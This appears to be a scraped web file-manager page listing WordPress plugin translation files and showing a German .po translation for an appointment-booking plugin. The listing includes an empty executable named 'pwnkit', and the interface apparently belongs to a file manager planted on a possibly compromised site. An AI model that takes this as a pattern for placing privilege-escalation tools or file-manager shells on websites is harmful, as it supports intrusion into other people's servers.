essential-addons-for-elementor...
531.69
KB
-rw-r--r--
file-manager-advanced-de_DE.l1...
4.89
KB
-rw-r--r--
file-manager-advanced-de_DE.mo
5.75
KB
-rw-r--r--
file-manager-advanced-de_DE.po
7.82
KB
-rw-r--r--
file-manager-advanced-es_ES.l1...
4.91
KB
-rw-r--r--
file-manager-advanced-es_ES.mo
5.77
KB
-rw-r--r--
file-manager-advanced-es_ES.po
7.85
KB
-rw-r--r--
file-manager-advanced-nl_NL.l1...
4.79
KB
-rw-r--r--
file-manager-advanced-nl_NL.mo
5.66
KB
-rw-r--r--
file-manager-advanced-nl_NL.po
7.73
KB
-rw-r--r--
gtranslate-es_ES.l10n.php
17.6
KB
-rw-r--r--
gtranslate-es_ES.mo
21.99
KB
-rw-r--r--
gtranslate-es_ES.po
28.22
KB
-rw-r--r--
gtranslate-fr_FR.l10n.php
11.22
KB
-rw-r--r--
gtranslate-fr_FR.mo
14.99
KB
-rw-r--r--
gtranslate-fr_FR.po
20.4
KB
-rw-r--r--
gtranslate-nl_NL.l10n.php
16.8
KB
-rw-r--r--
gtranslate-nl_NL.mo
21.19
KB
-rw-r--r--
gtranslate-nl_NL.po
27.41
KB
-rw-r--r--
hello-dolly-fr_FR.l10n.php
1.09
KB
-rw-r--r--
metform-fr_FR.l10n.php
39.73
KB
-rw-r--r--
metform-fr_FR.mo
52.48
KB
-rw-r--r--
metform-fr_FR.po
105.55
KB
-rw-r--r--
metform-nl_NL.l10n.php
56.36
KB
-rw-r--r--
metform-nl_NL.mo
73.08
KB
-rw-r--r--
metform-nl_NL.po
136.57
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
really-simple-ssl-de_DE-20df4f...
1.53
KB
-rw-r--r--
really-simple-ssl-de_DE-2f6a73...
2.58
KB
-rw-r--r--
really-simple-ssl-de_DE-3e12bb...
2.45
KB
-rw-r--r--
really-simple-ssl-de_DE-5c5090...
313
B
-rw-r--r--
really-simple-ssl-de_DE-5c8c5a...
1.15
KB
-rw-r--r--
really-simple-ssl-de_DE-8012e4...
12.91
KB
-rw-r--r--
really-simple-ssl-de_DE-e8d8b0...
358
B
-rw-r--r--
really-simple-ssl-de_DE.mo
91.09
KB
-rw-r--r--
really-simple-ssl-de_DE.po
121.22
KB
-rw-r--r--
really-simple-ssl-es_ES-20df4f...
1.54
KB
-rw-r--r--
really-simple-ssl-es_ES-2f6a73...
2.58
KB
-rw-r--r--
really-simple-ssl-es_ES-3e12bb...
2.42
KB
-rw-r--r--
really-simple-ssl-es_ES-5c5090...
316
B
-rw-r--r--
really-simple-ssl-es_ES-5c8c5a...
1.18
KB
-rw-r--r--
really-simple-ssl-es_ES-8012e4...
12.85
KB
-rw-r--r--
really-simple-ssl-es_ES-e8d8b0...
351
B
-rw-r--r--
really-simple-ssl-es_ES.mo
91.83
KB
-rw-r--r--
really-simple-ssl-es_ES.po
121.98
KB
-rw-r--r--
really-simple-ssl-fr_FR-20df4f...
1.64
KB
-rw-r--r--
really-simple-ssl-fr_FR-2f6a73...
2.79
KB
-rw-r--r--
really-simple-ssl-fr_FR-3e12bb...
2.67
KB
-rw-r--r--
really-simple-ssl-fr_FR-5c5090...
323
B
-rw-r--r--
really-simple-ssl-fr_FR-5c8c5a...
1.21
KB
-rw-r--r--
really-simple-ssl-fr_FR-8012e4...
14.02
KB
-rw-r--r--
really-simple-ssl-fr_FR-e8d8b0...
350
B
-rw-r--r--
really-simple-ssl-fr_FR.mo
94.15
KB
-rw-r--r--
really-simple-ssl-fr_FR.po
124.29
KB
-rw-r--r--
really-simple-ssl-it_IT-20df4f...
1.48
KB
-rw-r--r--
really-simple-ssl-it_IT-2f6a73...
2.47
KB
-rw-r--r--
really-simple-ssl-it_IT-3e12bb...
2.26
KB
-rw-r--r--
really-simple-ssl-it_IT-5c5090...
314
B
-rw-r--r--
really-simple-ssl-it_IT-5c8c5a...
1.08
KB
-rw-r--r--
really-simple-ssl-it_IT-8012e4...
12.04
KB
-rw-r--r--
really-simple-ssl-it_IT-e8d8b0...
350
B
-rw-r--r--
really-simple-ssl-it_IT.mo
87.35
KB
-rw-r--r--
really-simple-ssl-it_IT.po
117.15
KB
-rw-r--r--
really-simple-ssl-nl_NL-20df4f...
1.46
KB
-rw-r--r--
really-simple-ssl-nl_NL-2f6a73...
2.42
KB
-rw-r--r--
really-simple-ssl-nl_NL-3e12bb...
2.27
KB
-rw-r--r--
really-simple-ssl-nl_NL-5c5090...
313
B
-rw-r--r--
really-simple-ssl-nl_NL-5c8c5a...
1.07
KB
-rw-r--r--
really-simple-ssl-nl_NL-8012e4...
11.84
KB
-rw-r--r--
really-simple-ssl-nl_NL-e8d8b0...
352
B
-rw-r--r--
really-simple-ssl-nl_NL.mo
87.24
KB
-rw-r--r--
really-simple-ssl-nl_NL.po
117.38
KB
-rw-r--r--
simply-schedule-appointments-d...
796
B
-rw-r--r--
simply-schedule-appointments-d...
185.64
KB
-rw-r--r--
simply-schedule-appointments-d...
217.7
KB
-rw-r--r--
simply-schedule-appointments-d...
338.89
KB
-rw-r--r--
simply-schedule-appointments-e...
765
B
-rw-r--r--
simply-schedule-appointments-e...
111.18
KB
-rw-r--r--
simply-schedule-appointments-e...
133.47
KB
-rw-r--r--
simply-schedule-appointments-e...
225.73
KB
-rw-r--r--
simply-schedule-appointments-f...
429
B
-rw-r--r--
simply-schedule-appointments-f...
134.13
KB
-rw-r--r--
simply-schedule-appointments-f...
158.06
KB
-rw-r--r--
simply-schedule-appointments-f...
254.81
KB
-rw-r--r--
simply-schedule-appointments-n...
417
B
-rw-r--r--
simply-schedule-appointments-n...
107.29
KB
-rw-r--r--
simply-schedule-appointments-n...
129.64
KB
-rw-r--r--
simply-schedule-appointments-n...
223.79
KB
-rw-r--r--
wp-downgrade-de_DE.l10n.php
3.97
KB
-rw-r--r--
wp-downgrade-de_DE.mo
4.48
KB
-rw-r--r--
wp-downgrade-de_DE.po
5.31
KB
-rw-r--r--
wp-downgrade-es_ES.mo
4.62
KB
-rw-r--r--
wp-downgrade-es_ES.po
5.46
KB
-rw-r--r--
wp-downgrade-fr_FR.mo
4.62
KB
-rw-r--r--
wp-downgrade-fr_FR.po
5.46
KB
-rw-r--r--
wp-downgrade-nl_NL.mo
4.31
KB
-rw-r--r--
wp-downgrade-nl_NL.po
5.14
KB
-rw-r--r--
wp-whatsapp-chat-de_DE-4ede920...
7.53
KB
-rw-r--r--
wp-whatsapp-chat-de_DE-f37c6ce...
311
B
-rw-r--r--
wp-whatsapp-chat-de_DE.l10n.ph...
1.15
KB
-rw-r--r--
wp-whatsapp-chat-de_DE.mo
1.64
KB
-rw-r--r--
wp-whatsapp-chat-de_DE.po
4.31
KB
-rw-r--r--
wp-whatsapp-chat-es_ES-4ede920...
8.97
KB
-rw-r--r--
wp-whatsapp-chat-es_ES-f37c6ce...
913
B
-rw-r--r--
wp-whatsapp-chat-es_ES.l10n.ph...
2.21
KB
-rw-r--r--
wp-whatsapp-chat-es_ES.mo
2.87
KB
-rw-r--r--
wp-whatsapp-chat-es_ES.po
6.29
KB
-rw-r--r--
wp-whatsapp-chat-fr_FR-4ede920...
10.9
KB
-rw-r--r--
wp-whatsapp-chat-fr_FR-f37c6ce...
922
B
-rw-r--r--
wp-whatsapp-chat-fr_FR.l10n.ph...
2.26
KB
-rw-r--r--
wp-whatsapp-chat-fr_FR.mo
2.95
KB
-rw-r--r--
wp-whatsapp-chat-fr_FR.po
6.7
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL-4ede920...
12.36
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL-c306bcb...
383
B
-rw-r--r--
wp-whatsapp-chat-nl_NL-f37c6ce...
838
B
-rw-r--r--
wp-whatsapp-chat-nl_NL.l10n.ph...
5.24
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL.mo
6.29
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL.po
11.57
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : simply-schedule-appointments-de_DE.po
# Translation of Plugins - Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin - Stable (latest release) in German # This file is distributed under the same license as the Plugins - Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2024-06-26 19:35:29+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.1\n" "Language: de\n" "Project-Id-Version: Plugins - Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin - Stable (latest release)\n" #: includes/class-shortcodes.php:716 msgid "Open Web Meeting" msgstr "Web-Meeting öffnen" #: includes/class-shortcodes.php:715 msgid "View all upcoming appointments" msgstr "Alle anstehenden Termine anzeigen" #. Author URI of the plugin #: simply-schedule-appointments.php msgid "https://nsquared.io/" msgstr "https://nsquared.io/" #: languages/admin-app-translations.php:920 msgid "Summary of the customer information fields for the appointment type, in the admin's locale" msgstr "Zusammenfassung der Kundeninformationsfelder der Terminart für den Administrator" #: languages/admin-app-translations.php:919 msgid "Summary of the customer information fields for the appointment type, in customer's locale when available" msgstr "Zusammenfassung der Kundeninformationsfelder der Terminart für den Kunden, sofern verfügbar" #: languages/admin-app-translations.php:1879 msgid "Rescheduling History" msgstr "Verlauf der Umterminierung" #: languages/admin-app-translations.php:946 msgid "List of previous start dates of an appointment that has been rescheduled, in the business timezone" msgstr "Liste der früheren Startdaten eines Termins, der verschoben wurde, in der Zeitzone des Unternehmens" #: languages/admin-app-translations.php:945 msgid "The previous start date of an appointment that has been rescheduled, in the business timezone" msgstr "Das frühere Startdatum eines Termins, der verschoben wurde, in der Zeitzone des Unternehmens" #: languages/admin-app-translations.php:944 msgid "List of previous start dates of an appointment that has been rescheduled, in the customer's timezone" msgstr "Liste der früheren Startdaten eines Termins, der verschoben wurde, in der Zeitzone des Kunden" #: languages/admin-app-translations.php:943 msgid "The previous start date of an appointment that has been rescheduled, in the customer's timezone" msgstr "Das frühere Startdatum eines Termins, der verschoben wurde, in der Zeitzone des Kunden" #: languages/admin-app-translations.php:547 msgid "The old booking app will be deprecated soon, offers slower performance, and lacks new features like Booking Flows, Resources, and the ability to select Team Members. Kindly make sure you report any issues you encounter with the new booking app." msgstr "Die alte Buchungs-App wird bald nicht mehr unterstützt, bietet eine langsamere Leistung und verfügt nicht über neue Funktionen wie Buchungsabläufe, Ressourcen und die Möglichkeit, Teammitglieder auszuwählen. Bitte stelle sicher, dass du alle Probleme, die du mit der neuen Buchungs-App hast, meldest." #: languages/admin-app-translations.php:546 msgid "Use the old booking app" msgstr "Verwende die alte Buchungs-App" #: languages/admin-app-translations.php:348 msgid "Learn More About New Booking App" msgstr "Erfahre mehr über die neue Buchungs-App" #: languages/admin-app-translations.php:347 msgid "Visit our new booking app guide to read about all the great additions this will bring to your booking form experience." msgstr "Besuche unseren Leitfaden zur neuen Buchungs-App, um mehr über die zahlreichen Vorzüge zu erfahren, die dieses Buchungsformular mit sich bringen wird." #: languages/admin-app-translations.php:346 msgid "The new booking app is a complete revamp of our front-end app framework. It comes jam-packed with awesome new features and improvements for every edition!" msgstr "Die neue Buchungs-App ist eine komplette Überarbeitung unseres Frontend-App-Frameworks. Sie ist vollgepackt mit fantastischen neuen Funktionen und Verbesserungen für jede Edition!" #: languages/admin-app-translations.php:345 msgid "New Booking App Enabled!" msgstr "Neue Buchungs-App freigeschaltet!" #: languages/admin-app-translations.php:317 msgid "Bunches of customizations and combinations!" msgstr "Jede Menge Anpassungen und Kombinationen!" #: languages/admin-app-translations.php:316 msgid "First Available Flow suggests the next available time slot during the booking process." msgstr "„Erster verfügbarer Ablauf“ schlägt während des Buchungsvorgangs das nächste verfügbare Zeitfenster vor." #: languages/admin-app-translations.php:315 msgid "Express Flow displays the time and date selection on the same page within the booking form." msgstr "„Express Ablauf“ zeigt die Zeit- und Datumsauswahl auf der gleichen Seite des Buchungsformulars an." #: languages/admin-app-translations.php:312 msgid "The Booking Flows feature allows each Appointment Type to set the sequence of Views for the booking form. New flows include:" msgstr "Die Funktion „Buchungsabläufe“ ermöglicht es jedem Termintyp, die Reihenfolge der Ansichten für das Buchungsformular festzulegen. Neue Abläufe umfassen:" #: languages/admin-app-translations.php:310 msgid "Unlock pro features" msgstr "Pro-Funktionen freischalten" #: languages/admin-app-translations.php:309 msgid "Upgrade to either the Professional or Business Edition now to unlock the power of our new Booking Flows feature." msgstr "Wechsel jetzt auf die Professional- oder Business-Edition, um die Leistungsfähigkeit unserer neuen Buchungsablauf-Funktion zu nutzen." #: languages/admin-app-translations.php:308 msgid "Introducing: Booking Flows!" msgstr "Wir stellen vor: Buchungsabläufe!" #: languages/admin-app-translations.php:304 msgid "Learn More" msgstr "Mehr erfahren" #: languages/admin-app-translations.php:303 msgid "The highly anticipated Booking Flows feature is now available. Check it out and spice up your booking forms!" msgstr "Die mit Spannung erwartete Funktion „Buchungsabläufe“ ist jetzt verfügbar. Probiere diese aus und werte deine Buchungsformulare auf!" #: languages/admin-app-translations.php:302 msgid "Check Out Booking Flows!" msgstr "Probiere die Buchungsabläufe aus!" #: languages/admin-app-translations.php:207 msgid "Keep Changes" msgstr "Änderungen beibehalten" #: languages/admin-app-translations.php:206 msgid "Temporary Opt-Out" msgstr "Temporäres Opt-Out" #: languages/admin-app-translations.php:203 msgid "You've temporarily opted-out of the new booking app. Please note that this extension is only for 30-days, make sure to review and make updates to transition soon." msgstr "Du hast dich vorübergehend von der neuen Buchungs-App abgemeldet. Bitte beachte, dass diese Verlängerung nur für 30 Tage gilt. Stelle sicher, dass du den Übergang bald überprüfst und aktualisierst." #: languages/admin-app-translations.php:202 msgid "New Booking App Is Now Enabled! Please Double-Check Your Calendars & Opt-Out If You Need Time To Test Or Transition." msgstr "Die neue Buchungs-App ist jetzt aktiviert! Bitte überprüfe deine Kalender und melde dich ab, wenn du Zeit zum Testen oder für die Umstellung benötigst." #: languages/admin-app-translations.php:542 msgid "This is only available when SSA is not connected to Google Calendar. After toggling this setting, you will need to reconnect your main Google Calendar, and the team member calendars." msgstr "Dies ist nur verfügbar, wenn SSA nicht mit Google Kalender verbunden ist. Nach dem Umschalten dieser Einstellung musst du deinen Haupt-Google-Kalender und die Kalender der Teammitglieder erneut verbinden." #: includes/class-developer-settings.php:155 msgid "Cannot toggle Quick Connect Google Calendar Mode while connected to Google Calendar." msgstr "Der Google-Kalender-Schnellverbindungsmodus kann nicht umgeschaltet werden, während eine Verbindung zu Google Kalender besteht." #: languages/admin-app-translations.php:1092 msgid "Require Google Calendar Reconnect" msgstr "Erfordert eine erneute Verbindung mit Google Kalender" #: includes/class-error-notices.php:307 msgid "Go to Team settings" msgstr "Gehe zu den Team-Einstellungen" #: includes/class-error-notices.php:305 msgid "One or more of your team members needs to reauthorize their Google Calendar. Please disconnect and reconnect their calendar in the team settings and contact support if this error message persists." msgstr "Ein oder mehrere deiner Teammitglieder müssen ihren Google Kalender neu autorisieren. Bitte trenne die Verbindung zu ihrem Kalender in den Team-Einstellungen und verbinde sie erneut. Kontaktiere den Support, wenn diese Fehlermeldung weiterhin besteht." #: includes/class-error-notices.php:296 msgid "Lost connection to Google Calendar. Please disconnect and reconnect Google Calendar in the settings and contact support if this error message persists." msgstr "Verbindung zu Google Kalender verloren. Bitte trenne die Verbindung zu Google Kalender in den Einstellungen und kontaktiere den Support, wenn diese Fehlermeldung weiterhin besteht." #: languages/admin-app-translations.php:1432 msgid "Slug can include alphanumeric characters, underscores, and dashes." msgstr "Die Titelform kann alphanumerische Zeichen, Unterstriche und Bindestriche enthalten." #: includes/elementor/widgets/upcoming-appointments.php:361 msgid "Show " msgstr "Anzeigen " #: includes/elementor/widgets/upcoming-appointments.php:354 msgid "Team Member Images" msgstr "Bilder der Teammitglieder" #: includes/elementor/widgets/upcoming-appointments.php:353 msgid "Team Member Names" msgstr "Namen der Teammitglieder" #: includes/elementor/widgets/upcoming-appointments.php:335 msgid "Display Team Members" msgstr "Teammitglieder anzeigen" #: includes/elementor/widgets/upcoming-appointments.php:240 #: includes/elementor/widgets/upcoming-appointments.php:269 #: includes/elementor/widgets/upcoming-appointments.php:288 #: includes/elementor/widgets/upcoming-appointments.php:345 #: includes/elementor/widgets/upcoming-appointments.php:364 msgid "Hide" msgstr "Ausblenden" #: includes/elementor/widgets/upcoming-appointments.php:239 #: includes/elementor/widgets/upcoming-appointments.php:270 #: includes/elementor/widgets/upcoming-appointments.php:287 #: includes/elementor/widgets/upcoming-appointments.php:346 #: includes/elementor/widgets/upcoming-appointments.php:363 msgid "Show" msgstr "Anzeigen" #: includes/elementor/widgets/booking.php:248 msgid "Appointments types view" msgstr "Ansicht der Terminarten" #: includes/elementor/widgets/booking.php:233 msgid "Appointment Types View" msgstr "Ansicht der Terminarten" #: includes/elementor/widgets/booking.php:352 msgid "View Type" msgstr "Ansichtstyp" #: includes/elementor/widgets/booking.php:317 msgid "Duration Unit" msgstr "Dauer der Einheit" #: includes/elementor/widgets/booking.php:282 msgid "Main Booking Layout" msgstr "Hauptbuchungslayout" #: includes/elementor/widgets/booking.php:178 msgid "FILTER BY" msgstr "FILTERN NACH" #: includes/elementor/widgets/booking.php:150 msgid "Select Appointment Types" msgstr "Terminarten auswählen" #: includes/elementor/widgets/booking.php:140 msgid "Displays an Appointment Booking Form. You can customize the appointment type and styles." msgstr "Zeigt ein Terminbuchungsformular an. Du kannst den Termintyp und die Stile anpassen." #: includes/elementor/widgets/booking.php:122 #: includes/elementor/widgets/upcoming-appointments.php:196 msgid "Block Description" msgstr "Block-Beschreibung" #: includes/elementor/widgets/upcoming-appointments.php:225 #: assets/js/block-upcoming-appointments.js:252 msgid "Display Information" msgstr "Informationen anzeigen" #: includes/elementor/widgets/upcoming-appointments.php:254 #: includes/elementor/widgets/upcoming-appointments.php:259 #: assets/js/block-upcoming-appointments.js:217 msgid "Display Resources" msgstr "Ressourcen anzeigen" #: includes/elementor/widgets/upcoming-appointments.php:330 #: assets/js/block-upcoming-appointments.js:205 msgid "Display Team Member Information" msgstr "Informationen zum Teammitglied anzeigen" #: includes/elementor/widgets/upcoming-appointments.php:214 #: assets/js/block-upcoming-appointments.js:14 msgid "Displays Upcoming Appointments. You can select what to show in the appointment card." msgstr "Zeigt die bevorstehenden Termine an. Du kannst auswählen, was auf der Terminkarte angezeigt werden soll." #: templates/customer/upcoming-appointments.php:178 msgid "Web Meeting" msgstr "Web-Meeting" #: templates/customer/upcoming-appointments.php:177 msgid "On" msgstr "An" #: templates/customer/upcoming-appointments.php:140 msgid "With" msgstr "Mit" #: languages/booking-app-new-translations.php:62 msgid "A calendar invitation has been sent to your email address" msgstr "Eine Kalendereinladung wurde an deine E-Mail-Adresse gesendet" #: languages/admin-app-translations.php:2135 msgid "SSA Quick Connect Authorization" msgstr "SSA-Quick-Connect-Autorisierung" #: languages/admin-app-translations.php:1475 msgid "Block" msgstr "Zeitblock" #: languages/admin-app-translations.php:1474 msgid "Rows" msgstr "Zeilen" #: languages/admin-app-translations.php:958 msgid "All the categories of the event" msgstr "Alle Veranstaltungskategorien" #: languages/admin-app-translations.php:957 msgid "The name of the category in the Events Calendar, please replace the category number with an actual number. For example, 0 for the first category" msgstr "Der Kategoriename im Veranstaltungskalender. Bitte ersetze die Kategorienummer durch eine tatsächliche Zahl. Zum Beispiel, 0 für die erste Kategorie" #: languages/admin-app-translations.php:956 msgid "The website of the organizer in the Events Calendar" msgstr "Die Website des Organisators im Veranstaltungskalender" #: languages/admin-app-translations.php:955 msgid "The email of the organizer in the Events Calendar" msgstr "Die E-Mail-Adresse des Organisators im Veranstaltungskalender" #: languages/admin-app-translations.php:954 msgid "The phone number of the organizer in the Events Calendar" msgstr "Die Telefonnummer des Organisators im Veranstaltungskalender" #: languages/admin-app-translations.php:953 msgid "The name of the organizer in the Events Calendar" msgstr "Der Name des Organisators im Veranstaltungskalender" #: languages/admin-app-translations.php:952 msgid " The zip code of the venue in the Events Calendar" msgstr " Die Postleitzahl des Veranstaltungsortes im Veranstaltungskalender" #: languages/admin-app-translations.php:951 msgid "The province of the venue in the Events Calendar" msgstr "Die Provinz des Veranstaltungsortes im Veranstaltungskalender" #: languages/admin-app-translations.php:950 msgid "The state of the venue in the Events Calendar" msgstr "Das Bundesland des Veranstaltungsortes im Veranstaltungskalender" #: languages/admin-app-translations.php:949 msgid "The city of the venue in the Events Calendar" msgstr "Die Ortschaft des Veranstaltungsortes im Veranstaltungskalender" #: languages/admin-app-translations.php:948 msgid "The address of the venue in the Events Calendar" msgstr "Die Adresse des Veranstaltungsortes im Veranstaltungskalender" #: languages/admin-app-translations.php:947 msgid "The name of the venue in the Events Calendar" msgstr "Der Name des Veranstaltungsortes im Veranstaltungskalender" #: languages/admin-app-translations.php:662 msgid "Authorize with SSA Quick Connect" msgstr "Autorisieren mit SSA Quick Connect" #: languages/admin-app-translations.php:661 msgid "SSA Quick Connect requires an active license." msgstr "SSA Quick Connect erfordert eine gültige Lizenz." #: languages/admin-app-translations.php:660 msgid "Sign in with Google" msgstr "Mit Google anmelden" #: languages/admin-app-translations.php:540 msgid "Connect to Google Calendar with SSA Quick Connect" msgstr "Verbindung zu Google Kalender mit SSA Quick Connect" #: languages/admin-app-translations.php:215 msgid "Resource and Equipment booking" msgstr "Buchung von Ressourcen und Geräten" #: languages/admin-app-translations.php:68 msgid "No history available." msgstr "Kein Verlauf verfügbar." #: includes/lib/td-health-check/includes/class-health-check-site-status.php:865 msgid "SSA Quick Connect authorization service is working as expected." msgstr "Der SSA-Quick-Connect-Autorisierungsdienst funktioniert wie erwartet." #: includes/lib/td-health-check/includes/class-health-check-site-status.php:857 msgid "SSA Quick Connect authorization service is currently unavailable. Your site still works, but notifications and synchronization with google calendar may not work as intended." msgstr "Der SSA-Quick-Connect-Autorisierungsdienst ist derzeit nicht verfügbar. Deine Website funktioniert weiterhin, aber die Benachrichtigungen und die Synchronisierung mit dem Google-Kalender funktionieren möglicherweise nicht wie erwartet." #: includes/class-upgrade.php:911 msgid "Default Label" msgstr "Standardbeschriftung" #: includes/class-error-notices.php:398 msgid "SSA Quick Connect service is not responding, your Google Calendar may be out of sync" msgstr "Der SSA-Quick-Connect-Dienst reagiert nicht, dein Google-Kalender wird möglicherweise nicht synchronisiert" #: includes/class-error-notices.php:390 msgid "Looks like SSA Quick Connect's access to your Google Calendar was revoked. Please connect your calendar again" msgstr "Der Zugriff von SSA Quick Connect auf Ihren Google-Kalender wurde wahrscheinlich widerrufen. Bitte verbinde deinen Kalender erneut" #: includes/class-error-notices.php:380 msgid "SSA Quick Connect service was not able to validate your license key. Kindly renew your license or contact support" msgstr "Der SSA-Quick-Connect-Dienst konnte deinen Lizenzschlüssel nicht validieren. Bitte erneuere deine Lizenz oder kontaktiere den Support" #: includes/class-error-notices.php:370 msgid "SSA Quick Connect service was not able to match your license key to your current domain. Kindly activate the key on this domain" msgstr "Der SSA-Quick-Connect-Service konnte deinen Lizenzschlüssel nicht mit deiner aktuellen Domain abgleichen. Bitte aktiviere den Schlüssel auf dieser Domain" #: includes/class-error-notices.php:361 msgid "An admin changed the Google calendar authorization process. Kindly authorize SSA again" msgstr "Ein Administrator hat den Google-Kalender-Autorisierungsprozess geändert. Bitte autorisiere SSA erneut" #: includes/class-appointment-model.php:1059 msgid "Cannot update status to abandoned" msgstr "Status kann nicht auf „abgebrochen“ aktualisiert werden" #: languages/admin-app-translations.php:2121 msgid "SSA support pin" msgstr "SSA Support PIN" #: languages/admin-app-translations.php:1547 msgid "How many people per unique resource and team member can attend a group event?" msgstr "Wie viele Personen pro Ressource und Teammitglied können an einer Gruppenveranstaltung teilnehmen?" #: languages/admin-app-translations.php:1542 msgid "How many people per unique resource can attend a group event?" msgstr "Wie viele Personen können pro Ressource an einer Gruppenveranstaltung teilnehmen?" #: languages/admin-app-translations.php:1527 msgid "Individual means 1 booking per unique resource and team member per time. Group means multiple bookings per unique resource and team member." msgstr "Einzelperson bedeutet eine Buchung pro Ressource und Teammitglied und Zeitraum. Gruppe bedeutet mehrere Buchungen pro einzelner Ressource und Teammitglied." #: languages/admin-app-translations.php:1526 msgid "Individual means 1 booking per unique resource per time. Group means multiple bookings per unique resource." msgstr "Einzelperson bedeutet eine Buchung pro Ressource und Zeitraum. Gruppe bedeutet mehrere Buchungen pro Ressource." #: includes/class-error-notices.php:416 msgid "Stripe is in test mode! Remember to switch to live mode when ready to receive payments." msgstr "Stripe befindet sich im Testmodus! Denke daran in den Live-Modus zu wechseln, wenn du bereit bist, Zahlungen zu empfangen." #: includes/class-block-booking.php:173 #: includes/elementor/widgets/booking.php:240 msgid "Two Columns" msgstr "Zwei Spalten" #: languages/admin-app-translations.php:2235 msgid "Maximum Capacity Changed" msgstr "Maximale Kapazität geändert" #: languages/admin-app-translations.php:2234 msgid "Staff Capacity Changed" msgstr "Personalkapazität geändert" #: languages/admin-app-translations.php:2233 msgid "Team Members Staff Changed" msgstr "Belegschaft geändert" #: languages/admin-app-translations.php:2232 msgid "Team Members Changed" msgstr "Teammitglieder geändert" #: languages/admin-app-translations.php:2231 msgid "Customer Information Changed" msgstr "Kundeninformationen geändert" #: languages/admin-app-translations.php:2230 msgid "Booking Flow Changed" msgstr "Buchungsablauf geändert" #: languages/admin-app-translations.php:2229 msgid "Web Meetings Changed" msgstr "Web-Meetings geändert" #: languages/admin-app-translations.php:2228 msgid "Availability Schedule Changed" msgstr "Verfügbarkeit im Zeitplan geändert" #: languages/admin-app-translations.php:2227 msgid "Availability Type Changed" msgstr "Verfügbarkeitsart geändert" #: languages/admin-app-translations.php:2226 msgid "Availability Start Times Changed" msgstr "Startzeiten der Verfügbarkeit geändert" #: languages/admin-app-translations.php:2225 msgid "Instructions Changed" msgstr "Anweisungen geändert" #: languages/admin-app-translations.php:2224 msgid "Slug Changed" msgstr "Titelform geändert" #: languages/admin-app-translations.php:2223 msgid "Color Changed" msgstr "Farbe geändert" #: languages/admin-app-translations.php:2222 msgid "Duration Changed" msgstr "Dauer geändert" #: languages/admin-app-translations.php:2221 msgid "Timezone Changed" msgstr "Zeitzone geändert" #: languages/admin-app-translations.php:2220 msgid "Capacity Type Changed" msgstr "Kapazitätsart geändert" #: languages/admin-app-translations.php:2219 msgid "Capacity Changed" msgstr "Kapazität geändert" #: languages/admin-app-translations.php:2218 msgid "Booking Notice Changed" msgstr "Buchungshinweis geändert" #: languages/admin-app-translations.php:2217 msgid "Per Day Changed" msgstr "„Pro Tag“ geändert" #: languages/admin-app-translations.php:2216 msgid "Buffer After Changed" msgstr "„Puffer danach“ geändert" #: languages/admin-app-translations.php:2215 msgid "Buffer Before Changed" msgstr "„Puffer davor“ geändert" #: languages/admin-app-translations.php:2214 msgid "Title Changed" msgstr "Titel geändert" #: languages/admin-app-translations.php:2213 msgid "Recovered" msgstr "Wiederhergestellt" #: languages/admin-app-translations.php:745 msgid "Edition" msgstr "Edition" #: languages/admin-app-translations.php:744 msgid "Current License" msgstr "Aktuelle Lizenz" #: languages/admin-app-translations.php:194 msgid "A history of changes to this appointment" msgstr "Verlauf der Änderungen an diesem Termin" #: languages/admin-app-translations.php:118 msgid "A history of changes to this appointment type" msgstr "Verlauf der Änderungen an dieser Terminart" #: languages/admin-app-translations.php:117 #: languages/admin-app-translations.php:193 msgid "History" msgstr "Verlauf" #. translators: 1: SSA Plugin version, 2: Edition name #: includes/lib/td-health-check/includes/class-health-check-site-status.php:286 msgid "Your version of Simply Schedule Appointments %2$s Edition (v%1$s) is up to date." msgstr "Deine Version von Simply Schedule Appointments %2$s Edition (v%1$s) ist auf dem neuesten Stand." #: includes/class-support-status.php:511 msgid "Your license is up-to-date. Next renewal is due on %s." msgstr "Deine Lizenz ist aktuell. Die nächste Erneuerung ist am %s fällig." #: includes/class-availability-model.php:731 msgid "The date and time you selected is unavailable because there are no resources available." msgstr "Das von dir gewählte Datum und die Uhrzeit sind nicht verfügbar, da keine Ressourcen verfügbar sind." #: languages/admin-app-translations.php:1946 #: languages/admin-app-translations.php:2212 msgid "Deleted" msgstr "Gelöscht" #: languages/admin-app-translations.php:1944 #: languages/admin-app-translations.php:2210 #: languages/admin-app-translations.php:2237 msgid "Notification Not Sent" msgstr "Benachrichtigung wurde nicht gesendet" #: languages/admin-app-translations.php:1943 #: languages/admin-app-translations.php:2209 #: languages/admin-app-translations.php:2236 msgid "Notification Sent" msgstr "Benachrichtigung gesendet" #: languages/admin-app-translations.php:1942 #: languages/admin-app-translations.php:2208 msgid "Notification Scheduled" msgstr "Geplante Benachrichtigung" #: languages/admin-app-translations.php:1438 msgid "Loading Appointment Type History" msgstr "Terminart-Verlauf wird geladen" #: languages/admin-app-translations.php:1437 msgid "Appointment Type History" msgstr "Terminart-Verlauf" #: languages/admin-app-translations.php:151 msgid "ID" msgstr "ID" #: languages/booking-app-new-translations.php:210 msgid "Team Member: " msgstr "Teammitglied: " #: languages/booking-app-new-translations.php:203 #: languages/booking-app-new-translations.php:209 msgid "To be assigned" msgstr "Noch zuzuordnen" #: languages/booking-app-new-translations.php:202 #: languages/booking-app-new-translations.php:208 msgid "Any" msgstr "Beliebige" #: languages/booking-app-new-translations.php:201 msgid "Select a Resource" msgstr "Wähle eine Ressource aus" #: languages/booking-app-new-translations.php:20 msgid "Confirm Selection" msgstr "Auswahl bestätigen" #: languages/admin-app-translations.php:1820 msgid "Make sure to assign a resource" msgstr "Weise eine Ressource zu" #: languages/admin-app-translations.php:1485 msgid "Resources and Team" msgstr "Ressourcen und Team" #: languages/admin-app-translations.php:1456 msgid "Team View" msgstr "Teamansicht" #: languages/admin-app-translations.php:1454 #: languages/admin-app-translations.php:1460 msgid 